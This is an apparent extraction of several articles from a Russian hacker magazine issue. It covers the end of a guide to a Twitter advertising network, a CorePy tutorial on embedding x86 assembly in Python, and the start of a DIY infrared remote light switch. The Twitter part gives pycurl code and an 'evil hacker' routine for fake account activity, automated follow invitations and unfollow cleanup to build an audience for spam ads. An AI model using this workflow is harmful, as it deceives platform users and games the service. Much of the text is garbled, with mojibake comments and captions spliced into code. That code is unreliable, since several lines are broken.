
#åñëè íå ÷èòàåò — òî äëÿ íàñ îí íå äðóã<br />

curl.setopt(pycurl.URL,<br />

'http://twitter.com/friendships/destroy/’+<br />

++++<br />

Твиттер часто читают через<br />

специальные программы<br />

Логотип TweetTornado<br />

friend+'.xml')<br />

curl.perform() #æäåì 2 ñåêóíäû<br />

time.sleep(2)<br />

++ ++<br />

++++<br />

++++<br />

++++<br />

#çàïóñòèì çàïðîñ<br />

curl.perform()<br />

#ñîõðàíèì ðåçóëüòàòû â ïåðåìåííóþ friends<br />

friends = data.getvalue()<br />

#î÷èñòèì áóôåð äëÿ ñëåäóþùåãî çàïðîñà<br />

data.truncate(0)<br />

#ïîëó÷èì ñïèñîê ëþäåé, êîòîðûå ÷èòàþò íàñ<br />

curl.setopt(pycurl.URL,<br />

'http://twitter.com/statuses/followers.xml')<br />

curl.perform()<br />

followers = data.getvalue()<br />

В переменных friends, followers будет храниться результат в формате<br />

xml, полученный от твиттера. Обработав их уже знакомой нам регуляркой<br />

на поиск тегов , получим массивы:<br />

В ПУТЬ!<br />

Мы рассмотрели основные тезисы создания рекламной сети в твиттере.<br />

Это — базовый набор, которого хватит на первое время. Теперь сам сможешь<br />

их расширять, исходя из своих потребностей, например, добавить<br />

скрипту возможность работать с несколькими аккаунтами или использовать<br />

прямые текстовые сообщения, таргетинг и другие занимательные<br />

вещи. Предлагаю ознакомиться с примером из частной практики одного<br />

злого хакера. Итак, после регистрации аккаунта он устанавливает фотографию<br />

и заполняет все поля в профиле. Далее настраивает крон на запуск<br />

имитации активности где-то с периодичностью в 3 часа. Ждет неделю<br />

и — добавляет в крон запись, позволяющую раз в 3 дня запускать скрипт<br />

сначала на очистку от «редисок», а затем — на приглашение 100 новых<br />

юзеров. Об аккаунте он забывает до тех пор, пока у него не соберется<br />

где-то 2000 фаловеров. На этом он останавливает скрипты роста, оставляя<br />

лишь имитацию активности. Приблизительно раз в неделю размещается<br />

рекламное объявление. z<br />

++++<br />

092<br />

XÀÊÅÐ 04 /124/ 09


++++<br />

>> coding<br />

++++<br />

++++<br />

++++<br />

++++<br />

АЛЕКСЕЙ ЧЕРКЕС<br />

/ ALEKSEY.CHERKES@GMAIL.COM /<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

ПИТОН для матерых<br />

хардкорщиков<br />

Куем ассемблерные вставки в Python с помощью кошерного CorePy<br />

Я постоянно использую в работе open source программы и не перестаю<br />

удивляться, какие необычные проекты порой зарождаются в<br />

этой свободной среде. На мой взгляд, коммерческие приложения никогда<br />

не будут отличаться таким полетом мысли, как в среде открытого<br />

ПО.<br />

++++<br />

++++<br />

++++<br />

++++<br />

++ ++<br />

++++<br />

++++<br />

++++<br />

++++<br />

Осваивая подобные продукты, глубже понимаешь сложные концепции<br />

программирования, детальнее изучаешь интересные технологии. В этот<br />

раз речь пойдет о вещах немного непривычных. Я расскажу о скрещивании<br />

двух языков программирования: ассемблера и Python’a. Такой тандем<br />

нечасто встречается на практике, ведь эти два языка решают абсолютно<br />

разные задачи: ассемблер максимально приближен к аппаратуре,<br />

предоставляет программисту над ней полный контроль, но программирование<br />

на нем — долгое, иногда нудное и кропотливое занятие, требующее<br />

нечеловеческой внимательности и терпения. Python, наоборот, проектировался<br />

так, чтобы максимально облегчить труд программиста. Это очень<br />

комфортный язык, который доступен каждому. На первый взгляд, смесь<br />

двух подходов выглядит едва ли возможной. В Python даже нет понятия<br />

указателя, — тут вообще не идет речи о прямой работе с памятью, ведь всю<br />

грязную работу выполняет трудолюбивый garbage collector! А такие вещи,<br />

как динамическая типизация и функции, являющиеся объектами первого<br />

класса и делающие интеграцию с ассемблером, казалось бы, неразрешимой<br />

на практике задачей? Однако в этой статье я рассмотрю технологию<br />

CorePy, которая делает подобную интеграцию возможной.<br />

ОБЩИЙ ОБЗОР<br />

CorePy — это модуль расширения для Python, частично написанный на С.<br />

Он позволяет программисту писать и исполнять ассемблерные программы,<br />

работая исключительно с интерпретатором Python. Это дает возможность<br />

проводить машинно-зависимую оптимизацию Python-программ, которая<br />

обычно невозможна даже в случае использования таких языков, как C. К примеру,<br />

ты можешь напрямую использовать технологии наподобие MMX и SSE.<br />

CorePy поддерживает процессоры x86, x86_64 (с поддержкой SSE),<br />

PowerPC (PPC32 и PPC64), VMX/AltiVec и Cell SPU. Он может работать в<br />

операционных системах linux и OS X. Microsoft Windows в списке почемуто<br />

не значится ;).<br />

094<br />

ВЕСЬ COREPY МОЖНО РАЗБИТЬ НА ТРИ ОСНОВНЫХ СЛОЯ:<br />

1) Instruction Set Architectures (ISAs). Это библиотеки объектов, которые<br />

представляют собой инструкции из разных наборов команд. Один<br />

физический процессор может поддерживать несколько наборов команд<br />

(например, x86 и SSE).<br />

2) InstructionStreams или потоки команд. Это контейнеры для объектов<br />

из пункта 1. Отвечают за хранение последовательности инструкций и<br />

за взаимодействие с операционной системой для их исполнения.<br />

3) Processors. Выполняют потоки команд и отвечают за передачу и<br />

возврат аргументов. Возможно синхронное и асинхронное выполнение<br />

потоков.<br />

В начале работы программисту необходимо создать один из объектов<br />

InstructionSream. Затем пустой поток команд наполняется другими<br />

объектами, каждый из которых однозначно идентифицирует машинную<br />

инструкцию и ее параметры. На данном этапе никакого кода реально не<br />

создается! Мы просто описываем нужную нам программу, наполняя коллекцию<br />

InstructionSream. Полученная последовательность передается<br />

на исполнение классу, представляющему абстракцию процессора. Внутренние<br />

механизмы CorePy парсят переданный нами InstructionStream<br />

и генерируют на его основе реальный машинный код. Теперь его можно<br />

вызывать почти как обычную функцию, обращаясь к нему через специальный<br />

интерфейс класса Processor.<br />

РУКИ ЧЕШУТСЯ РАБОТАТЬ<br />

Пришло время испытать эту штуку в боевых условиях! Давай реализуем<br />

какой-нибудь несложный алгоритм двумя способами: на ассемблере<br />

и на обычном Python, а затем сравним оба метода по скорости работы<br />

и удобству программирования. Для этих целей я выбрал всем знакомую<br />

задачу сортировки массива методом пузырька. Делаем огромный<br />

массив с тысячами элементов, заполняем его убывающей последова-<br />

XÀÊÅÐ 04 /124/ 09


coding<br />

ТУТ ОПЯТЬ ВСЕ МЕТОДЫ, НO N – МАЛО<br />

(0 < N


++++<br />

>> coding<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

Ìàøèííûé êîä, ñîçäàííûé<br />

CorePy íà<br />

îñíîâå íàøåãî<br />

# Platform: linux.spre_linux_x86_32<br />

BITS 32<br />

SECTION .text<br />

global bubble_sort<br />

bubble_sort:<br />

PROLOGUE:<br />

push ebp<br />

mov ebp, esp<br />

push edi<br />

push esi<br />

push ebx<br />

BODY:<br />

BEGIN_ALL:<br />

mov esi, 0<br />

mov ecx, 0<br />

BEGIN_LOOP:<br />

mov edi, dword [ebp + 8]<br />

mov eax, dword [edi + ecx * 4 + 0]<br />

mov ebx, dword [edi + ecx * 4 + 4]<br />

cmp eax, ebx<br />

jle LE<br />

mov esi, 1<br />

mov dword [edi + ecx * 4 + 0], ebx<br />

mov dword [edi + ecx * 4 + 4], eax<br />

LE:<br />

inc ecx<br />

cmp ecx, dword [ebp + 12]<br />

je END_LOOP<br />

jmp BEGIN_LOOP<br />

END_LOOP:<br />

cmp esi, 0<br />

jne BEGIN_ALL<br />

EPILOGUE:<br />

pop ebx<br />

pop esi<br />

pop edi<br />

leave<br />

ret<br />

Êîä íàøåé<br />

ôóíêöèè<br />

íà CorePy<br />

import corepy.arch.x86.isa as x86<br />

import corepy.arch.x86.platform as env<br />

from corepy.arch.x86.types.registers import *<br />

from corepy.arch.x86.lib.memory import MemRef<br />

code = env.InstructionStream()<br />

lbl_begin = code.get_label('BEGIN_ALL')<br />

lbl_loop = code.get_label('BEGIN_LOOP')<br />

lbl_le = code.get_label('LE')<br />

lbl_end = code.get_label('END_LOOP')<br />

is_finish = esi # ôëàã çàâåðøåíèÿ<br />

x86.set_active_code(code)<br />

# Ïðèíèìàåì ÷åðåç ñòåê äâà ïàðàìåòðà: íà÷àëüíûé àäðåñ ìàññèâà<br />

è ìàêñèìàëüíûé äîïóñòèìûé èíäåêñ â íåì<br />

code.add(lbl_begin)<br />

x86.mov(is_finish, 0)<br />

x86.mov(ecx, 0)<br />

code.add(lbl_loop)<br />

# Çàíîñèì â edi àäðåñ íà÷àëà ìàññèâà<br />

# Îí âñåãäà ñîñòîèò èç 4áàéòíûõ öåëûõ ÷èñåë<br />

x86.mov(edi, MemRef(ebp, 8))<br />

x86.mov(eax, MemRef(edi, disp=0, index=ecx, 4)<br />

x86.mov(ebx, MemRef(edi, disp=4, index=ecx, 4)<br />

# Åñëè ïîðÿäîê ñîðòèðîâêè íàðóøåí...<br />

x86.cmp(eax, ebx)<br />

x86.jle(lbl_le)<br />

# ìåíÿåì ýëåìåíòû ìåñòàìè<br />

x86.mov(is_finish, 1)<br />

x86.mov(MemRef(edi, disp=0, index=ecx, 4), ebx)<br />

x86.mov(MemRef(edi, disp=4, index=ecx, 4), eax)<br />

code.add(lbl_le)<br />

x86.inc(ecx)<br />

x86.cmp(ecx, MemRef(ebp, 12)) # óæå êîíåö?<br />

x86.je(lbl_end)<br />

x86.jmp(lbl_loop)<br />

code.add(lbl_end)<br />

++ ++<br />

++++<br />

++++<br />

++++<br />

примере это code). Затем с помощью метода add в него заносятся конкретные<br />

команды, например:<br />

code.add(x86.mov(eax, 0)).<br />

Мы добавили к командам из code операцию обнуления eax. Примерно<br />

так и составляется вся программа. x86 — это псевдоним для соответствующей<br />

ISA. Для того чтобы все время не писать code.add(команда), можно<br />

просто вызвать функцию x86.set_active_code(code) для экземпляра<br />

твоей ISA. После этого все создаваемые инструкции будут автоматически<br />

добавляться к code. Названия и структура параметров команд<br />

полностью совпадают с ассемблерными аналогами, поэтому запомнить<br />

их не составляет труда. Для работы с регистрами импортируй все имена<br />

из corepy.arch.x86.types.registers. Далее в параметрах команд просто<br />

пиши, что нужно: eax, bp и т.д. Здесь есть одна хитрость: регистры — это<br />

обычные объекты. Поэтому для них можно вводить псевдонимы. В примере<br />

я ввел альтернативное имя is_finish для esi. Такой подход облегчает<br />

# Åñëè íå áûëî íè îäíîé ïåðåñòàíîâêè, òî ìàññèâ îòñîðòèðîâàí<br />

x86.cmp(is_finish, 0)<br />

x86.jne(lbl_begin)<br />

восприятие, как правило, сильно запутанных ассемблерных программ.<br />

Механизмы адресации традиционно считаются сложным аспектом в<br />

программировании на ассемблере. Действительно, x86 поддерживает<br />

несколько ее типов: прямая, косвенная, базовая, индексная, со смещением<br />

и т.д. В этих разновидностях немудрено заблудиться. Для формирования<br />

указателей на ячейки памяти CorePy предоставляет удобный<br />

класс MemRef (передается как параметр соответствующим конструкторам<br />

команд), который может заметно облегчить работу и повысить<br />

визуальную наглядность кода. Например: MemRef(0xABCD) — указатель<br />

на абсолютный адрес, MemRef(rip, -1024) — указатель на ячейку памяти,<br />

смещенную относительно IP, MemRef(rsi, disp = 0, index = rcx, scale = 4)<br />

— эффективный адрес = base + (index * scale) + disp (индексная базовая<br />

адресация со смещением). Последний случай используется в примере.<br />

++++<br />

096<br />

XÀÊÅÐ 04 /124/ 09


coding<br />

абсолютно прозрачно для программиста. Иногда очень удобно использовать<br />

средства Python для автоматизации создания потоков команд. Ты<br />

можешь написать программы, которые будут автоматически генерировать<br />

последовательности ассемблерных инструкций. В примерах, которые идут с<br />

CorePy, можно встретить такие участки кода:<br />

for i in xrange(0, 65): code.add(x86_isa.pop(edi))<br />

Здесь вместо того, чтобы заниматься copy and paste, разработчики написали<br />

цикл, который создает 65 pop-инструкций, идущих друг за другом. Я<br />

думаю, развив эту идею, можно сделать библиотеку удобных макросов —<br />

и использование старого доброго asm’а станет еще комфортнее.<br />

Emacs представляет собой одну из лучших сред программирования,<br />

особенно, если приходится одновременно работать с несколькими языками<br />

Редкая программа выполняется линейно и может обойтись без меток для<br />

переходов. Объекты меток в CorePy создаются классами InstructionStream<br />

— выглядит приблизительно так: lbl_loop = code.get_label(«LOOP»). Здесь<br />

lbl_loop — это новая метка, а code — поток команд. Если у code запросить<br />

еще одну метку с именем «LOOP», вернется тот же экземпляр. Для использования<br />

созданной метки ее нужно поместить в код. Это очень просто:<br />

code.add(lbl_loop) добавляет метку на текущую позицию в коде. Концепция<br />

раздельного создания и использования меток может показаться странной,<br />

но она необходима для организации прыжков на метки, которые идут впереди<br />

по коду. Если ты изучил ассемблерный листинг нашей программы,<br />

то наверняка обратил внимание, что CorePy разделяет каждую функцию<br />

на три части и вводит предопределенные метки: PROLOGUE, BODY и<br />

EPILOGUE. Все, что мы пишем, попадает в главную часть — BODY. Код<br />

эпилога и пролога генерируется автоматически. Он нужен для обеспечения<br />

бинарного интерфейса между функцией и внешним миром. Наличие<br />

такой автоматизации — еще одно преимущество CorePy: теперь программист<br />

тратит меньше сил на реализацию рутинных вещей, таких как<br />

инициализация регистра bp указателем на вершину стека и т.п.<br />

CorePy использует стек для передачи параметров в функции. На стороне<br />

Python-кода для этого нужно использовать специальный класс ExecParams.<br />

У него есть восемь полей: p1, p2, ... , p8 — каждое соответствует одному из<br />

восьми параметров, которые можно передать в функцию. Такой объект<br />

передается экземпляру класса Processor во время запуска процедуры. Из<br />

ассемблера доступ к параметрам осуществляется по старинке: через смещение<br />

относительно указателя начала стека. Чтобы, например, скопировать<br />

первый параметр в eax, напиши следующее: x86.mov(eax, MemRef(ebp, 16)).<br />

Для возврата значений из функций используется регистр с предопределенным<br />

именем. Обычно это gp_return. Разумеется, ассемблер имеет смысл<br />

применять для обработки больших массивов данных — только в этом случае<br />

можно увидеть повышение быстродействия. Но много информации через<br />

регистры и стек в функцию не передашь, и эта проблема имеет отдельное<br />

решение. Например, можно пользоваться классом array из стандартной<br />

библиотеки. Это обычный динамический гомогенный массив для Python.<br />

Среди встроенных типов есть только гетерогенные списки, но они неэффективны<br />

при работе с большими блоками однотипных элементов. К тому<br />

же, они не предоставляют прямого доступа к памяти, а это нужно для работы<br />

ассемблерного кода. Поэтому и появился класс array — у него есть метод<br />

buffer_info(), возвращающий адрес начала массива и количество элементов<br />

в нем. Этот адрес можно использовать напрямую из ассемблера, в своем<br />

примере я так и сделал. CorePy предоставляет похожий класс с почти<br />

идентичным интерфейсом — extarray. В отличие от стандартного array, он<br />

всегда выделяет память, выравненную по границам страниц. За счет такой<br />

оптимизации твои программы будут работать максимально эффективно.<br />

Плюс, на Linux поддерживается технология huge pages, и ее использование<br />

XÀÊÅÐ 04 /124/ 09<br />

АНАЛИЗИРУЕМ РЕЗУЛЬТАТЫ<br />

Выходит, ассемблерная версия рвет обычную на несколько порядков!<br />

Мы получили выигрыш от тысячи до десяти тысяч раз по скорости<br />

при использовании одинакового алгоритма, и с ростом количества<br />

элементов в массиве этот отрыв становится все заметнее. На графиках с<br />

четырьмя кривыми я вывел зависимость логарифма времени выполнения<br />

от количества элементов. Я провел два эксперимента с малым и<br />

большим N (до тысячи и до семи тысяч) — на графиках с двумя линиями<br />

выводятся абсолютные величины и сравниваются методы с приблизительно<br />

одинаковым порядком производительности. На одном показано<br />

время выполнения Python-реализации с PsyCo-оптимизацией и без.<br />

Видно, что PsyCo работает, но в этом тесте эффект, все же, не слишком<br />

убедителен — кривые идут почти одна под другой. На другом графике<br />

мы наблюдаем стандартную функцию sort против нашей ассемблерной<br />

реализации — sort работает приблизительно на один порядок быстрее<br />

с нашим количеством элементов, но заметна тенденция к увеличению<br />

этого разрыва. Связано это с тем, что встроенные функции пишут на C, и<br />

они обычно очень хорошо оптимизированы. И конечно, там используется<br />

алгоритм с меньшей сложностью, чем n**2, как у нашей bubble sort :).<br />

ПОДВЕДЕМ ИТОГИ<br />

Позволяя писать низкоуровневые процедуры прямо в Python-коде с<br />

использованием его синтаксиса, CorePy снижает порог вхождения в<br />

машинное программирование до минимума. На официальном сайте<br />

приведена цитата одного из пользователей. Он говорит, что CorePy опять<br />

сделал программирование на ассемблере увлекательным и веселым<br />

занятием. Библиотека логична и последовательна, ее освоение не<br />

займет много времени, а от комфортного программирования получаешь<br />

почти феерическое удовольствие :). Количество программ, используемых<br />

в рабочем процессе, при этом не увеличивается. Ты по-прежнему<br />

работаешь с одним Python-интерпретатором, а значит, не нужно читать<br />

документацию к незнакомым компиляторам и другим утилитам, которыми<br />

ты никогда не пользовался (или пользовался, но давно). Это может<br />

служить хорошим стимулом для использования CorePy в промышленном<br />

программировании. Библиотека найдет применение в самых разных<br />

областях: встраиваемые приложения, научные расчеты, производство<br />

игр — и так далее. Отличная технология! z<br />

Çàïóñê<br />

íàøåé ñîðòèðîâêè<br />

import corepy.arch.x86.platform as env<br />

proc = env.Processor()<br />

params = env.ExecParams()<br />

def sort(array):<br />

bi = array.buffer_info()<br />

# Ïîäãîòîâêà ïàðàìåòðîâ<br />

params.p1 = bi[0]<br />

# Íà÷àëî ìàññèâà<br />

params.p2 = bi[1] — 1<br />

# Êîëè÷åñòâî ýëåìåíòîâ<br />

proc.execute(code, params = params)# Çàïóñê asm — êîäà!<br />

097


phreaking<br />

ЕВГЕНИЙ «VSHMUK» БЕЙСЕМБАЕВ<br />

/ DIVER@EDU.IOFFE.RU /<br />

ИНФРАКРАСНАЯ ЛЕНЬ<br />

Управлять с пульта можно не только телевизором<br />

Устав вставать с дивана, чтобы в очередной раз выключить свет<br />

в комнате, я задумался, как можно облегчить себе жизнь. Взгляд упал<br />

на инфракрасный пульт управления от старого телевизора.<br />

«Почему бы не поуправлять светом с его помощью?» — подумал я.<br />

И взялся за реализацию идеи.<br />

>> phreaking<br />

Конечно, в продаже есть нормальные, «цивильные» системы дистанционного<br />

управления светом в комнатах. Обычно они идут в комплекте,<br />

— как части разрекламированного «умного дома». Но мы же хакеры?<br />

Поэтому будем делать умный дом своими руками, что в разы дешевле и<br />

интереснее.<br />

ПУЛЬТ<br />

Понадобится нам всего ничего: ИК-пульт (подойдет практически любой),<br />

микроконтроллер, ИК-датчик и так называемые твердотельные реле.<br />

К цифровой ножке контроллера привесим ИК-датчик, который, поймав<br />

из эфира нужные данные, отошлет на реле импульс включения/выключения.<br />

Начнем с пульта. Любой ПДУ для нас, как электронщиков, имеет две<br />

характеристики. Это частота модуляции, так называемая несущая, и метод<br />

кодирования сигнала. С частотой все просто — это то, насколько<br />

быст ро «моргает» излучатель. Как правило, попадаются частоты 36<br />

кГц, 38 кГц и 40 кГц. А вот с методами модуляции придется повозиться,<br />

так как каждый производитель использует свой протокол. Не<br />

факт, что метод кодирования, использовавшийся на моем пульте,<br />

подойдет к твоему. Лично я тыкал в кнопки и смотрел сигнал с<br />

приемника на осциллографе. У тебя осцильника может и не быть,<br />

но информация в интернете по протоколам разных производителей<br />

ищется очень легко. В любом случае — подробнее по ним читай<br />

далее, в отдельной главе. Не забудь проверить пульт на признаки<br />

жизни, это сэкономит немало нервов. Направь на него объектив цифровой<br />

камеры своего мобильника и понажимай кнопочки. Матрица камеры<br />

воспримет излучение работающего пульта как ярко-синее, почти белое.<br />

бы один, поверь, для него найдется применение в любой задаче.<br />

Конкретно в нашем случае, такая примитивная функция, как расшифровка<br />

сигнала с пульта и воспроизведение некоторых действий,<br />

могла бы решиться намного более простым 8-битным контроллером,<br />

а использование AT91SAM7X — пушка в вопросе обстреливания<br />

воробьев. Но за дешевизной мы не гонимся, а гонимся за удобством<br />

программирования, наглядностью и переносимостью на другие проекты.<br />

Итак, контроллер в нашей задаче должен иметь, как минимум:<br />

• Один логический вход, куда мы будем подключать ИК-сенсор;<br />

• Один логический выход, где будет висеть реле для включения света в<br />

комнате. Если хочешь сделать контроллер «умнее», то на досуге приделай<br />

к нему ЖК-дисплей с выводимой информацией (для управления ему<br />

понадобится еще около 8-ми логических выводов);<br />

• Из периферии — один таймер для замера задержек.<br />

ДАТЧИК<br />

Также понадобится ИК-датчик на нужную тебе несущую частоту. Добывается<br />

он в магазинах электроники, барахолках или в старых телевизорах/<br />

видиках. Скорее всего, называться он будет Vishay TSOP18XX (на XX кГц).<br />

Питается от 5 или 3,3 В, внутри имеет все необходимые фильтры и усилители,<br />

а на выход отдает уже нормальный логический сигнал, который<br />

можно без посредников заводить на логическую ножку микросхемы.<br />

Датчик выбирай совместимым по несущей частоте с твоим ПДУ. Настроенный<br />

на другую частоту тоже будет работать, но только если светить в<br />

него в упор. У моего Sony RM-836 несущая равна 36 кГц, соответственно,<br />

и сенсор я купил TSOP1836, — он наиболее часто используемый.<br />

КОНТРОЛЛЕР<br />

Схему я делал на оказавшемся под рукой Atmel AT91SAM7X128. Это<br />

очень крутой МК архитектуры ARM7. Главный его плюс — не нужен<br />

программатор: контроллер замечательно шьется через встроенный<br />

USB-порт. А вообще, «Атмелы» всегда славились продвинутой периферией<br />

в своих контроллерах. Поэтому советую приобрести хотя<br />

098<br />

РЕЛЕ<br />

Наша задача — рулить довольно мощной и питающейся от большого<br />

напряжения нагрузкой (освещением в комнате, например). Естественно,<br />

слабый и работающий от 3,3 В микроконтроллер не сможет зажечь<br />

лампочку, да и 220 вольтам в нашей схеме пока что взяться неоткуда. Для<br />

решения таких задач и были придуманы реле (от relay — «эстафета»). Эти<br />

XÀÊÅÐ 04 /124/ 09


phreaking<br />

Так выглядит наше реле с двух сторон и со снятым радиатором.<br />

Радиатор с термопастой — для задач типа «руление<br />

пылесосом»<br />

Вот что видно на осциллографе. Последовательность читается<br />

довольно легко<br />

Светим пультом прямо в глаз<br />

XÀÊÅÐ 04 /124/ 09<br />

099


pc_zone phreaking<br />

+5V<br />

Почти собранные модули,<br />

— не впаян только<br />

драйвер<br />

~220V<br />

Реле<br />

Нагрузка<br />

РЕЛЕ И ДРАЙВЕРЫ<br />

MCU<br />

100<br />

5 Ohm<br />

N-type<br />

MOFSET<br />

ВНУТРЕННОСТИ<br />

СЕНСОРА<br />

PIN<br />

Input<br />

AGS<br />

Control<br />

Circuit<br />

Band<br />

Pass<br />

Инфракрасный датчик — довольно сложное устройство.<br />

Для начала, в нем есть фотодиод, реагирующий на ИК-часть<br />

спектра. Напрямую аналоговый сигнал с фотодиода на<br />

контроллер посылать не имеет смысла — он просто все<br />

свободное время будет оцифровывать картинку и пытаться<br />

извлечь из нее данные. Поэтому в датчик уже включены<br />

фильтры и демодулятор, дергающий, в итоге, за базу<br />

транзистора. Как только поймается единица, транзистор<br />

откроется, и вывод OUT закоротится с землей GND — тогда<br />

контроллер видит переход состояний и запускает прерывание.<br />

Denodulator<br />

30<br />

3<br />

1<br />

2<br />

V s<br />

OUT<br />

GND<br />

Несмотря на плюсы твердотельных реле, минусов у них тоже<br />

более чем достаточно.<br />

Во-первых, ток управления в большинстве случаев требуется<br />

такой, какой ножка микроконтроллера выдать не в состоянии<br />

— просто сгорит. Во-вторых, многим релюшкам требуется<br />

5 В на включение, тогда как МК твой выдает только 3,3 В (по<br />

спецификации CMOS). В общем, я тебе категорически не<br />

рекомендую подключать релюшку напрямую к контроллеру,<br />

даже если тока с напряжением достаточно. Правильнее и<br />

дешевле — включать его через полевой транзистор! Для<br />

наших задач подойдет любой, например, IRML2803 фирмы<br />

International Rectifier.<br />

Теперь о том, как выбрать реле. Первая попавшаяся релюшка<br />

KSD210AC8 фирмы Cosmo Electronics уже подходит нам (http://<br />

cosmo-ic.com/object/products/KSD210AC8.pdf). Управляется,<br />

минимум, 4 вольтами, поэтому надо добыть 5 или 12 вольт, но на<br />

плате они всяко есть.<br />

То, что управляет чем-то мощным (у нас это — реле), по терминологии<br />

зовется драйвером. В данном случае драйвер — просто<br />

полевой транзистор.<br />

Вместо обычного транзистора можно использовать его же, но с<br />

опторазвязкой, так во многих случаях безопаснее и правильнее,<br />

несмотря на наличие развязки уже внутри релюшки.<br />

Еще совет. Выбирай себе реле с максимальным выходным<br />

током в 2-3 раза больше, чем тот, с которым оно будет использоваться.<br />

Иначе — готовься к тому, что в шкафу будет адский<br />

кипятильник!<br />

приборы могут малыми силами замыкать и размыкать схему, по которой<br />

течет большой ток. Классический вариант — электромагнитное реле<br />

(с магнитом внутри, коммутирующим нашу цепь притягиванием к себе<br />

так называемого якоря). Вообще, термином «реле» можно с натяжкой<br />

обозвать любой выключатель, даже тот, что висит на стенке, приводится<br />

в действие рукой и включает освещение. У электромагнитных реле<br />

есть недостаток. Из-за наличия движущихся частей и электромагнита<br />

сами релюшки будут требовать немаленькое напряжение и потреблять<br />

нехилый ток, который микросхема выдать не в силах. Делать всякие мегаусиления<br />

не будем, а воспользуемся так называемыми твердотельными<br />

реле. Они требуют на вход TTL (3,3-5 В) логику и могут коммутировать<br />

переменные токи до нескольких ампер. Внешне они могут выглядеть<br />

как обыкновенные MOSFET-транзисторы с местом для прикручивания<br />

радиатора, а внутри являются тиристорами в паре (смотри врезку).<br />

В нашей лаборатории уже есть реле, сделанные из тиристоров 25TTS фирмы<br />

Vishay (http://www.vishay.com/docs/94384/94384.pdf). Ты тоже можешь подобрать<br />

себе подобное в магазинах/на барахолках, только следи за максимальным<br />

пропускаемым током (Мощность лампочки=Ток*Напряжение, не забыл?),<br />

а также — возможностью работать с переменным напряжением и минимальным<br />

током на затвор. Полагаю, придется привесить на вход реле еще один<br />

транзистор, но это не больно :). В общем, микроконтроллер в нужный момент<br />

будет подавать на реле (через транзистор или оптотриак) логическую единицу<br />

(3,3 В), а реле — пропускать через себя 220 В переменного тока.<br />

ПРОТОКОЛЫ<br />

Если частоты модуляции в ИК-пультах хоть как-то стандартизированы,<br />

то с протоколами что-то не сложилось. Любая компания-производитель<br />

выдумывает свои собственные. «Низкоуровневых» протоколов распространено<br />

два. Это RC5 (так называемый манчестерский код), использующийся<br />

Philips, и Sony, изобретенный фирмой Sony. Протокол Манчестера<br />

часто используется в линиях передачи данных, когда увеличение заряда<br />

или «яркости» линии чревато «ослеплением» сенсора (подробнее —<br />

смотри врезку). Вкратце, единица представляется переходом из 1 в 0, а<br />

ноль — из 0 в 1. Протокол Sony, в отличие от RC5, не кодирует данные переходами<br />

из состояния в состояние, а использует для этого их длительности<br />

(!). Например, сначала идет одиночный импульс «1», а потом, в зависимости<br />

от передаваемого, одиночная или двойная пауза (вообще, что<br />

считать паузой, а что импульсом — вопрос спорный, транзистор внутри<br />

сенсора все равно все инвертирует). Скажем, единица будет выглядеть<br />

как «1-0-0», а ноль — как «1-0». С «высокоуровневыми» протоколами — в<br />

разы сложнее. Поверх низкоуровневых модуляций уже передаются те<br />

самые данные, которые и отличают одну нажатую кнопку от другой. Здесь<br />

советовать что-либо трудно, количество стартовых/стоповых бит, LSB/<br />

MSB очередности и разделение команды-данные всегда будет свои.<br />

Тычь осциллографом в сенсор, изучай передаваемые данные, ну и про<br />

XÀÊÅÐ 04 /124/ 09


phreaking<br />

ПРОТОКОЛЫ<br />

МАНЧЕСТЕР И EFM<br />

Допустим, тебе надо по очень длинной линии с кучей помех<br />

(неважно, оптическая она или просто медный провод) передать<br />

кучку единиц. Стартовые и стоповые биты не спасут от обилия<br />

сигналов с «высоким уровнем», и датчик/триггер на том конце линии<br />

просто перестает адекватно воспринимать данные. Поэтому<br />

для сред с высоким уровнем помех используются так называемые<br />

self-clocking модуляции.<br />

Например, в протоколе Manchester (используется в Ethernet) единица<br />

дополняется нулем, а ноль — единицей, поэтому значений<br />

с высоким уровнем на линии столько же, сколько и с низким. К<br />

тому же, так мы сохраняем заряд кабеля. Приемник всегда может<br />

подстроиться на частоту и амплитуду сигнала, и в итоге — потерь<br />

данных меньше.<br />

Что-то подобное используется и в кодировании данных на CD-<br />

ROM, где 8 бит каждого байта по таблице переводятся в избыточные<br />

14 с тем принципом, что любые две единицы разделяются,<br />

минимум, двумя и, максимум, десятью нулями. Вместе с дополнительными<br />

тремя битами, склеивающими байты, мы получаем<br />

равномерно «серую» поверхность диска, поэтому сенсор всегда<br />

явно различает темные (темнее серого) и светлые (светлее серого)<br />

участки.<br />

Википедия предлагает небольшие обзорные статьи по теме:<br />

• http://en.wikipedia.org/wiki/Manchester_code.<br />

• http://en.wikipedia.org/wiki/Eight-to-Fourteen_Modulation.<br />

Google тоже забывать не стоит. Полагаю, протоколы для большинства<br />

пультов уже расшифрованы и лежат в открытом доступе. Будешь читать<br />

алгоритм — не путай низкоуровневые нули и единицы (свечение pulse и<br />

space) с логическими, получаемыми после расшифровки.<br />

îêàçàëèñü. Åñëè ÷åðåç 1.2 ìñ, òî ê íàì ïðèåõàëà åäèíèöà,<br />

à åñëè ÷åðåç 0.6 — òî íîëèê. Çàïèõèâàåì åãî â «êîìàíäíûé»<br />

áàéò íîãàìè âïåðåä (LSB) è èäåì öèêëîì â ìåòêó [Ìåòêà!].<br />

— Êàê ïðèíÿëè 7 êîìàíäíûõ áèò, ïðèíèìàåì 5 àäðåñíûõ.<br />

— Ïî ïðîòîêîëó ÷åðåç 40 ìêñ ïóëüò ïîâòîðÿåò ïîñëåäîâàòåëüíîñòü,<br />

ïîýòîìó åñëè õî÷åøü äîïîëíèòåëüíîé íàäåæíîñòè<br />

— ïðèñòóïàé ê äåéñòâèþ òîëüêî ïîñëå âòîðîé ïîâòîðåííîé<br />

êîìàíäû.<br />

— Íó, à åñëè âñå áèòû ñîâïàëè ñ òåì, ÷òî ìû îæèäàåì, òî<br />

ïðîèçâîäèì äåéñòâèå (íàïðèìåð, ïèùèì ëàìïî÷êîé).<br />

Как-то так. Страшно, но в готовом коде букв будет в разы меньше.<br />

СБОРКА И ИСПЫТАНИЕ<br />

У меня уже была отладочная плата на контроллере ARM7. Вся периферия<br />

— отключена, к одному цифровому входу была привешена OUT-ножка<br />

датчика, а к выходу я временно привесил динамик-пищалку, чтобы не<br />

играться с высоким напряжением раньше времени. Datasheet порекомендовал<br />

мне привесить конденсатор 4.7 мкФ между питанием и землей<br />

датчика, ну а я был как бы не против. Затем я щупал осциллографом<br />

